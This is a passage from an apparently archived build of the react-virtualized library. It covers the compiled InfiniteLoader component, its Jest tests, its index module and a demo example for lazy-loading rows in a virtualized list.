        loadMoreRows = _ref4$loadMoreRows === void 0 ? defaultLoadMoreRows : _ref4$loadMoreRows,
        _ref4$minimumBatchSiz = _ref4.minimumBatchSize,
        minimumBatchSize = _ref4$minimumBatchSiz === void 0 ? 1 : _ref4$minimumBatchSiz,
        _ref4$rowHeight = _ref4.rowHeight,
        rowHeight = _ref4$rowHeight === void 0 ? 20 : _ref4$rowHeight,
        _ref4$rowCount = _ref4.rowCount,
        rowCount = _ref4$rowCount === void 0 ? 100 : _ref4$rowCount,
        scrollToIndex = _ref4.scrollToIndex,
        _ref4$threshold = _ref4.threshold,
        threshold = _ref4$threshold === void 0 ? 10 : _ref4$threshold,
        _ref4$width = _ref4.width,
        width = _ref4$width === void 0 ? 200 : _ref4$width;

    return React.createElement(_InfiniteLoader["default"], {
      isRowLoaded: isRowLoaded,
      loadMoreRows: loadMoreRows,
      minimumBatchSize: minimumBatchSize,
      rowCount: rowCount,
      threshold: threshold
    }, function (_ref5) {
      var onRowsRendered = _ref5.onRowsRendered,
          registerChild = _ref5.registerChild;
      innerOnRowsRendered = onRowsRendered;
      return React.createElement(_List["default"], {
        ref: registerChild,
        height: height,
        onRowsRendered: onRowsRendered,
        rowHeight: rowHeight,
        rowRenderer: rowRenderer,
        rowCount: rowCount,
        scrollToIndex: scrollToIndex,
        width: width
      });
    });
  }

  it('should call :isRowLoaded for all rows within the threshold each time a range of rows are rendered', function () {
    (0, _TestUtils.render)(getMarkup());
    expect(isRowLoadedCalls).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]);
  });
  it('should call :isRowLoaded for all rows within the rowCount each time a range of rows are rendered', function () {
    (0, _TestUtils.render)(getMarkup({
      rowCount: 10
    }));
    expect(isRowLoadedCalls).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
  });
  it('should call :loadMoreRows for unloaded rows within the threshold', function () {
    (0, _TestUtils.render)(getMarkup());
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 14
    }]);
  });
  it('should call :loadMoreRows for unloaded rows within the rowCount', function () {
    (0, _TestUtils.render)(getMarkup({
      rowCount: 10
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 9
    }]);
  });
  it('should :forceUpdate once rows have loaded if :loadMoreRows returns a Promise', function _callee(done) {
    var savedResolve, loadMoreRows;
    return _regenerator["default"].async(function _callee$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            loadMoreRows = function _ref6() {
              return new Promise(function (resolve) {
                savedResolve = resolve;
              });
            };

            (0, _TestUtils.render)(getMarkup({
              loadMoreRows: loadMoreRows
            }));
            rowRendererCalls.splice(0);
            _context.next = 5;
            return _regenerator["default"].awrap(savedResolve());

          case 5:
            expect(rowRendererCalls.length > 0).toEqual(true);
            done();

          case 7:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  it('should not :forceUpdate once rows have loaded rows are no longer visible', function _callee2(done) {
    var resolves, loadMoreRows;
    return _regenerator["default"].async(function _callee2$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            loadMoreRows = function _ref7() {
              return new Promise(function (resolve) {
                resolves.push(resolve);
              });
            };

            resolves = [];
            (0, _TestUtils.render)(getMarkup({
              loadMoreRows: loadMoreRows
            })); // Simulate a new range of rows being loaded

            innerOnRowsRendered({
              startIndex: 100,
              stopIndex: 101
            });
            rowRendererCalls.splice(0);
            _context2.next = 7;
            return _regenerator["default"].awrap(resolves[0]());

          case 7:
            // Resolve the first request only, not the simulated row-change
            expect(rowRendererCalls.length).toEqual(0);
            done();

          case 9:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  describe('minimumBatchSize', function () {
    it('should respect the specified :minimumBatchSize when scrolling down', function () {
      (0, _TestUtils.render)(getMarkup({
        minimumBatchSize: 10,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }]);
    });
    it('should respect the specified :minimumBatchSize when scrolling up', function () {
      (0, _TestUtils.render)(getMarkup({
        minimumBatchSize: 10,
        scrollToIndex: 20,
        threshold: 0
      }));
      loadMoreRowsCalls.splice(0);
      (0, _TestUtils.render)(getMarkup({
        isRowLoaded: function isRowLoaded(_ref8) {
          var index = _ref8.index;
          return index >= 20;
        },
        minimumBatchSize: 10,
        scrollToIndex: 15,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 10,
        stopIndex: 19
      }]);
    });
    it('should not interfere with :threshold', function () {
      (0, _TestUtils.render)(getMarkup({
        minimumBatchSize: 10,
        threshold: 10
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 14
      }]);
    });
    it('should respect the specified :minimumBatchSize if a user scrolls past the previous range', function () {
      var isRowLoadedIndices = {};

      function isRowLoaded(_ref9) {
        var index = _ref9.index;

        if (!isRowLoadedIndices[index]) {
          isRowLoadedIndices[index] = true;
          return false;
        } else {
          return true;
        }
      }

      (0, _TestUtils.render)(getMarkup({
        isRowLoaded: isRowLoaded,
        minimumBatchSize: 10,
        threshold: 0
      })); // Simulate a new range of rows being loaded

      innerOnRowsRendered({
        startIndex: 5,
        stopIndex: 10
      });
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }, {
        startIndex: 10,
        stopIndex: 19
      }]);
    });
    it('should not exceed ending boundaries if :minimumBatchSize is larger than needed', function () {
      (0, _TestUtils.render)(getMarkup({
        minimumBatchSize: 10,
        rowCount: 25,
        threshold: 0
      })); // Simulate a new range of rows being loaded

      innerOnRowsRendered({
        startIndex: 18,
        stopIndex: 22
      });
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }, {
        startIndex: 15,
        stopIndex: 24
      }]);
    });
    it('should not exceed beginning boundaries if :minimumBatchSize is larger than needed', function () {
      (0, _TestUtils.render)(getMarkup({
        minimumBatchSize: 10,
        scrollToIndex: 15,
        threshold: 0
      }));
      loadMoreRowsCalls.splice(0);
      (0, _TestUtils.render)(getMarkup({
        isRowLoaded: function isRowLoaded(_ref10) {
          var index = _ref10.index;
          return index >= 6;
        },
        minimumBatchSize: 10,
        scrollToIndex: 2,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 5
      }]);
    });
  }); // Verifies improved memoization; see bvaughn/react-virtualized/issues/345

  it('should memoize calls to :loadMoreRows (not calling unless unloaded ranges have changed)', function () {
    (0, _TestUtils.render)(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 20,
      threshold: 0
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 20
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 20
    }]);
  });
  it('resetLoadMoreRowsCache should reset memoized state', function () {
    var component = (0, _TestUtils.render)(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 20,
      threshold: 0
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    loadMoreRowsCalls.splice(0);
    expect(loadMoreRowsCalls).toEqual([]);
    component.resetLoadMoreRowsCache();
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
  });
  it('resetLoadMoreRowsCache should call :loadMoreRows if :autoReload parameter is true', function () {
    var component = (0, _TestUtils.render)(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 1,
      threshold: 0
    })); // Simulate a new range of rows being loaded

    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 10
    });
    component.resetLoadMoreRowsCache(true);
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 0,
      stopIndex: 10
    }); // Simulate a new range of rows being loaded

    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 20,
      stopIndex: 30
    });
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 20,
      stopIndex: 30
    });
    loadMoreRowsCalls.splice(0);
    component.resetLoadMoreRowsCache(true);
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 20,
      stopIndex: 30
    });
  });
});
describe('scanForUnloadedRanges', function () {
  function createIsRowLoaded(rows) {
    return function (_ref11) {
      var index = _ref11.index;
      return rows[index];
    };
  }

  it('should return an empty array for a range of rows that have all been loaded', function () {
    expect((0, _InfiniteLoader.scanForUnloadedRanges)({
      isRowLoaded: createIsRowLoaded([true, true, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([]);
  });
  it('return a range of only 1 unloaded row', function () {
    expect((0, _InfiniteLoader.scanForUnloadedRanges)({
      isRowLoaded: createIsRowLoaded([true, false, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([{
      startIndex: 1,
      stopIndex: 1
    }]);
  });
  it('return a range of multiple unloaded rows', function () {
    expect((0, _InfiniteLoader.scanForUnloadedRanges)({
      isRowLoaded: createIsRowLoaded([false, false, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([{
      startIndex: 0,
      stopIndex: 1
    }]);
  });
  it('return multiple ranges of unloaded rows', function () {
    expect((0, _InfiniteLoader.scanForUnloadedRanges)({
      isRowLoaded: createIsRowLoaded([true, false, false, true, false, true, false]),
      startIndex: 0,
      stopIndex: 6
    })).toEqual([{
      startIndex: 1,
      stopIndex: 2
    }, {
      startIndex: 4,
      stopIndex: 4
    }, {
      startIndex: 6,
      stopIndex: 6
    }]);
  });
});
describe('isRangeVisible', function () {
  it('first row(s) are visible', function () {
    expect((0, _InfiniteLoader.isRangeVisible)({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 20,
      stopIndex: 30
    })).toEqual(true);
  });
  it('last row(s) are visible', function () {
    expect((0, _InfiniteLoader.isRangeVisible)({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 0,
      stopIndex: 10
    })).toEqual(true);
  });
  it('all row(s) are visible', function () {
    expect((0, _InfiniteLoader.isRangeVisible)({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 12,
      stopIndex: 14
    })).toEqual(true);
  });
  it('no row(s) are visible', function () {
    expect((0, _InfiniteLoader.isRangeVisible)({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 0,
      stopIndex: 9
    })).toEqual(false);
    expect((0, _InfiniteLoader.isRangeVisible)({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 21,
      stopIndex: 30
    })).toEqual(false);
  });
});
describe('forceUpdateReactVirtualizedComponent', function () {
  it('should call :recomputeGridSize if defined', function () {
    var recomputeGridSize = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component) {
      (0, _inherits2["default"])(TestComponent, _React$Component);

      function TestComponent() {
        var _getPrototypeOf2;

        var _this;

        (0, _classCallCheck2["default"])(this, TestComponent);

        for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
          args[_key] = arguments[_key];
        }

        _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf5["default"])(TestComponent)).call.apply(_getPrototypeOf2, [this].concat(args)));
        (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "recomputeGridSize", recomputeGridSize);
        return _this;
      }

      (0, _createClass2["default"])(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);
      return TestComponent;
    }(React.Component);

    (0, _InfiniteLoader.forceUpdateReactVirtualizedComponent)((0, _TestUtils.render)(React.createElement(TestComponent, null)), 10);
    expect(recomputeGridSize).toHaveBeenCalledTimes(1);
    expect(recomputeGridSize).toHaveBeenCalledWith(10);
  });
  it('should called :recomputeRowHeights if defined', function () {
    var recomputeRowHeights = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component2) {
      (0, _inherits2["default"])(TestComponent, _React$Component2);

      function TestComponent() {
        var _getPrototypeOf3;

        var _this2;

        (0, _classCallCheck2["default"])(this, TestComponent);

        for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
          args[_key2] = arguments[_key2];
        }

        _this2 = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf3 = (0, _getPrototypeOf5["default"])(TestComponent)).call.apply(_getPrototypeOf3, [this].concat(args)));
        (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this2), "recomputeRowHeights", recomputeRowHeights);
        return _this2;
      }

      (0, _createClass2["default"])(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);
      return TestComponent;
    }(React.Component);

    (0, _InfiniteLoader.forceUpdateReactVirtualizedComponent)((0, _TestUtils.render)(React.createElement(TestComponent, null)), 10);
    expect(recomputeRowHeights).toHaveBeenCalledTimes(1);
    expect(recomputeRowHeights).toHaveBeenCalledWith(10);
  });
  it('should call :forceUpdate otherwise', function () {
    var forceUpdate = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component3) {
      (0, _inherits2["default"])(TestComponent, _React$Component3);

      function TestComponent() {
        var _getPrototypeOf4;

        var _this3;

        (0, _classCallCheck2["default"])(this, TestComponent);

        for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
          args[_key3] = arguments[_key3];
        }

        _this3 = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf4 = (0, _getPrototypeOf5["default"])(TestComponent)).call.apply(_getPrototypeOf4, [this].concat(args)));
        (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this3), "forceUpdate", forceUpdate);
        return _this3;
      }

      (0, _createClass2["default"])(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);
      return TestComponent;
    }(React.Component);

    (0, _InfiniteLoader.forceUpdateReactVirtualizedComponent)((0, _TestUtils.render)(React.createElement(TestComponent, null)), 10);
    expect(forceUpdate).toHaveBeenCalledTimes(1);
  });
});commonjs/InfiniteLoader/index.js000064400000000750151677406000012742 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "InfiniteLoader", {
  enumerable: true,
  get: function get() {
    return _InfiniteLoader["default"];
  }
});
exports["default"] = void 0;

var _InfiniteLoader = _interopRequireDefault(require("./InfiniteLoader"));

var _default = _InfiniteLoader["default"];
exports["default"] = _default;commonjs/InfiniteLoader/InfiniteLoader.example.js000064400000017176151677406000016173 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var _ContentBox = require("../demo/ContentBox");

var _immutable = _interopRequireDefault(require("immutable"));

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _InfiniteLoader = _interopRequireDefault(require("./InfiniteLoader"));

var _List = _interopRequireDefault(require("../List"));

var _InfiniteLoaderExample = _interopRequireDefault(require("./InfiniteLoader.example.css"));

var STATUS_LOADING = 1;
var STATUS_LOADED = 2;

var InfiniteLoaderExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(InfiniteLoaderExample, _React$PureComponent);

  function InfiniteLoaderExample(props) {
    var _this;

    (0, _classCallCheck2["default"])(this, InfiniteLoaderExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(InfiniteLoaderExample).call(this, props));
    _this.state = {
      loadedRowCount: 0,
      loadedRowsMap: {},
      loadingRowCount: 0
    };
    _this._timeoutIdMap = {};
    _this._clearData = _this._clearData.bind((0, _assertThisInitialized2["default"])(_this));
    _this._isRowLoaded = _this._isRowLoaded.bind((0, _assertThisInitialized2["default"])(_this));
    _this._loadMoreRows = _this._loadMoreRows.bind((0, _assertThisInitialized2["default"])(_this));
    _this._rowRenderer = _this._rowRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(InfiniteLoaderExample, [{
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      Object.keys(this._timeoutIdMap).forEach(function (timeoutId) {
        clearTimeout(timeoutId);
      });
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var list = this.context.list;
      var _this$state = this.state,
          loadedRowCount = _this$state.loadedRowCount,
          loadingRowCount = _this$state.loadingRowCount;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "InfiniteLoader",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/InfiniteLoader/InfiniteLoader.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/InfiniteLoader.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "This component manages just-in-time data fetching to ensure that the all visible rows have been loaded. It also uses a threshold to determine how early to pre-fetch rows (before a user scrolls to them)."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("div", {
        className: _InfiniteLoaderExample["default"].cacheButtonAndCountRow
      }, React.createElement("button", {
        className: _InfiniteLoaderExample["default"].button,
        onClick: this._clearData
      }, "Flush Cached Data"), React.createElement("div", {
        className: _InfiniteLoaderExample["default"].cacheCountRow
      }, loadingRowCount, " loading, ", loadedRowCount, " loaded"))), React.createElement(_InfiniteLoader["default"], {
        isRowLoaded: this._isRowLoaded,
        loadMoreRows: this._loadMoreRows,
        rowCount: list.size
      }, function (_ref) {
        var onRowsRendered = _ref.onRowsRendered,
            registerChild = _ref.registerChild;
        return React.createElement(_AutoSizer["default"], {
          disableHeight: true
        }, function (_ref2) {
          var width = _ref2.width;
          return React.createElement(_List["default"], {
            ref: registerChild,
            className: _InfiniteLoaderExample["default"].List,
            height: 200,
            onRowsRendered: onRowsRendered,
            rowCount: list.size,
            rowHeight: 30,
            rowRenderer: _this2._rowRenderer,
            width: width
          });
        });
      }));
    }
  }, {
    key: "_clearData",
    value: function _clearData() {
      this.setState({
        loadedRowCount: 0,
        loadedRowsMap: {},
        loadingRowCount: 0
      });
    }
  }, {
    key: "_isRowLoaded",
    value: function _isRowLoaded(_ref3) {
      var index = _ref3.index;
      var loadedRowsMap = this.state.loadedRowsMap;
      return !!loadedRowsMap[index]; // STATUS_LOADING or STATUS_LOADED
    }
  }, {
    key: "_loadMoreRows",
    value: function _loadMoreRows(_ref4) {
      var _this3 = this;

      var startIndex = _ref4.startIndex,
          stopIndex = _ref4.stopIndex;
      var _this$state2 = this.state,
          loadedRowsMap = _this$state2.loadedRowsMap,
          loadingRowCount = _this$state2.loadingRowCount;
      var increment = stopIndex - startIndex + 1;

      for (var i = startIndex; i <= stopIndex; i++) {
        loadedRowsMap[i] = STATUS_LOADING;
      }

      this.setState({
        loadingRowCount: loadingRowCount + increment
      });
      var timeoutId = setTimeout(function () {
        var _this3$state = _this3.state,
            loadedRowCount = _this3$state.loadedRowCount,
            loadingRowCount = _this3$state.loadingRowCount;
        delete _this3._timeoutIdMap[timeoutId];

        for (var i = startIndex; i <= stopIndex; i++) {
          loadedRowsMap[i] = STATUS_LOADED;
        }

        _this3.setState({
          loadingRowCount: loadingRowCount - increment,
          loadedRowCount: loadedRowCount + increment
        });

        promiseResolver();
      }, 1000 + Math.round(Math.random() * 2000));
      this._timeoutIdMap[timeoutId] = true;
      var promiseResolver;
      return new Promise(function (resolve) {
        promiseResolver = resolve;
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref5) {
      var index = _ref5.index,
          key = _ref5.key,
          style = _ref5.style;
      var list = this.context.list;
      var loadedRowsMap = this.state.loadedRowsMap;
      var row = list.get(index);
      var content;

      if (loadedRowsMap[index] === STATUS_LOADED) {
        content = row.name;
      } else {
        content = React.createElement("div", {
          className: _InfiniteLoaderExample["default"].placeholder,
          style: {
            width: row.size
          }
        });
      }

      return React.createElement("div", {
        className: _InfiniteLoaderExample["default"].row,
        key: key,
        style: style
      }, content);
    }
  }]);
  return InfiniteLoaderExample;
}(React.PureComponent);

exports["default"] = InfiniteLoaderExample;
(0, _defineProperty2["default"])(InfiniteLoaderExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/InfiniteLoader/InfiniteLoader.js000064400000025747151677406000014544 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.isRangeVisible = isRangeVisible;
exports.scanForUnloadedRanges = scanForUnloadedRanges;
exports.forceUpdateReactVirtualizedComponent = forceUpdateReactVirtualizedComponent;
exports["default"] = void 0;

var _toConsumableArray2 = _interopRequireDefault(require("@babel/runtime/helpers/toConsumableArray"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var _createCallbackMemoizer = _interopRequireDefault(require("../utils/createCallbackMemoizer"));

/**
 * Higher-order component that manages lazy-loading for "infinite" data.
 * This component decorates a virtual component and just-in-time prefetches rows as a user scrolls.
 * It is intended as a convenience component; fork it if you'd like finer-grained control over data-loading.
 */
var InfiniteLoader =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(InfiniteLoader, _React$PureComponent);

  function InfiniteLoader(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, InfiniteLoader);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(InfiniteLoader).call(this, props, context));
    _this._loadMoreRowsMemoizer = (0, _createCallbackMemoizer["default"])();
    _this._onRowsRendered = _this._onRowsRendered.bind((0, _assertThisInitialized2["default"])(_this));
    _this._registerChild = _this._registerChild.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(InfiniteLoader, [{
    key: "resetLoadMoreRowsCache",
    value: function resetLoadMoreRowsCache(autoReload) {
      this._loadMoreRowsMemoizer = (0, _createCallbackMemoizer["default"])();

      if (autoReload) {
        this._doStuff(this._lastRenderedStartIndex, this._lastRenderedStopIndex);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      return children({
        onRowsRendered: this._onRowsRendered,
        registerChild: this._registerChild
      });
    }
  }, {
    key: "_loadUnloadedRanges",
    value: function _loadUnloadedRanges(unloadedRanges) {
      var _this2 = this;

      var loadMoreRows = this.props.loadMoreRows;
      unloadedRanges.forEach(function (unloadedRange) {
        var promise = loadMoreRows(unloadedRange);

        if (promise) {
          promise.then(function () {
            // Refresh the visible rows if any of them have just been loaded.
            // Otherwise they will remain in their unloaded visual state.
            if (isRangeVisible({
              lastRenderedStartIndex: _this2._lastRenderedStartIndex,
              lastRenderedStopIndex: _this2._lastRenderedStopIndex,
              startIndex: unloadedRange.startIndex,
              stopIndex: unloadedRange.stopIndex
            })) {
              if (_this2._registeredChild) {
                forceUpdateReactVirtualizedComponent(_this2._registeredChild, _this2._lastRenderedStartIndex);
              }
            }
          });
        }
      });
    }
  }, {
    key: "_onRowsRendered",
    value: function _onRowsRendered(_ref) {
      var startIndex = _ref.startIndex,
          stopIndex = _ref.stopIndex;
      this._lastRenderedStartIndex = startIndex;
      this._lastRenderedStopIndex = stopIndex;

      this._doStuff(startIndex, stopIndex);
    }
  }, {
    key: "_doStuff",
    value: function _doStuff(startIndex, stopIndex) {
      var _ref2,
          _this3 = this;

      var _this$props = this.props,
          isRowLoaded = _this$props.isRowLoaded,
          minimumBatchSize = _this$props.minimumBatchSize,
          rowCount = _this$props.rowCount,
          threshold = _this$props.threshold;
      var unloadedRanges = scanForUnloadedRanges({
        isRowLoaded: isRowLoaded,
        minimumBatchSize: minimumBatchSize,
        rowCount: rowCount,
        startIndex: Math.max(0, startIndex - threshold),
        stopIndex: Math.min(rowCount - 1, stopIndex + threshold)
      }); // For memoize comparison

      var squashedUnloadedRanges = (_ref2 = []).concat.apply(_ref2, (0, _toConsumableArray2["default"])(unloadedRanges.map(function (_ref3) {
        var startIndex = _ref3.startIndex,
            stopIndex = _ref3.stopIndex;
        return [startIndex, stopIndex];
      })));

      this._loadMoreRowsMemoizer({
        callback: function callback() {
          _this3._loadUnloadedRanges(unloadedRanges);
        },
        indices: {
          squashedUnloadedRanges: squashedUnloadedRanges
        }
      });
    }
  }, {
    key: "_registerChild",
    value: function _registerChild(registeredChild) {
      this._registeredChild = registeredChild;
    }
  }]);
  return InfiniteLoader;
}(React.PureComponent);
/**
 * Determines if the specified start/stop range is visible based on the most recently rendered range.
 */


exports["default"] = InfiniteLoader;
(0, _defineProperty2["default"])(InfiniteLoader, "defaultProps", {
  minimumBatchSize: 10,
  rowCount: 0,
  threshold: 15
});
InfiniteLoader.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering a virtualized component.
   * This function should implement the following signature:
   * ({ onRowsRendered, registerChild }) => PropTypes.element
   *
   * The specified :onRowsRendered function should be passed through to the child's :onRowsRendered property.
   * The :registerChild callback should be set as the virtualized component's :ref.
   */
  children: _propTypes["default"].func.isRequired,

  /**
   * Function responsible for tracking the loaded state of each row.
   * It should implement the following signature: ({ index: number }): boolean
   */
  isRowLoaded: _propTypes["default"].func.isRequired,

  /**
   * Callback to be invoked when more rows must be loaded.
   * It should implement the following signature: ({ startIndex, stopIndex }): Promise
   * The returned Promise should be resolved once row data has finished loading.
   * It will be used to determine when to refresh the list with the newly-loaded data.
   * This callback may be called multiple times in reaction to a single scroll event.
   */
  loadMoreRows: _propTypes["default"].func.isRequired,

  /**
   * Minimum number of rows to be loaded at a time.
   * This property can be used to batch requests to reduce HTTP requests.
   */
  minimumBatchSize: _propTypes["default"].number.isRequired,

  /**
   * Number of rows in list; can be arbitrary high number if actual number is unknown.
   */
  rowCount: _propTypes["default"].number.isRequired,

  /**
   * Threshold at which to pre-fetch data.
   * A threshold X means that data will start loading when a user scrolls within X rows.
   * This value defaults to 15.
   */
  threshold: _propTypes["default"].number.isRequired
} : {};

function isRangeVisible(_ref4) {
  var lastRenderedStartIndex = _ref4.lastRenderedStartIndex,
      lastRenderedStopIndex = _ref4.lastRenderedStopIndex,
      startIndex = _ref4.startIndex,
      stopIndex = _ref4.stopIndex;
  return !(startIndex > lastRenderedStopIndex || stopIndex < lastRenderedStartIndex);
}
/**
 * Returns all of the ranges within a larger range that contain unloaded rows.
 */


function scanForUnloadedRanges(_ref5) {
  var isRowLoaded = _ref5.isRowLoaded,
      minimumBatchSize = _ref5.minimumBatchSize,
      rowCount = _ref5.rowCount,
      startIndex = _ref5.startIndex,
      stopIndex = _ref5.stopIndex;
  var unloadedRanges = [];
  var rangeStartIndex = null;
  var rangeStopIndex = null;

  for (var index = startIndex; index <= stopIndex; index++) {
    var loaded = isRowLoaded({
      index: index
    });

    if (!loaded) {
      rangeStopIndex = index;

      if (rangeStartIndex === null) {
        rangeStartIndex = index;
      }
    } else if (rangeStopIndex !== null) {
      unloadedRanges.push({
        startIndex: rangeStartIndex,
        stopIndex: rangeStopIndex
      });
      rangeStartIndex = rangeStopIndex = null;
    }
  } // If :rangeStopIndex is not null it means we haven't ran out of unloaded rows.
  // Scan forward to try filling our :minimumBatchSize.


  if (rangeStopIndex !== null) {
    var potentialStopIndex = Math.min(Math.max(rangeStopIndex, rangeStartIndex + minimumBatchSize - 1), rowCount - 1);

    for (var _index = rangeStopIndex + 1; _index <= potentialStopIndex; _index++) {
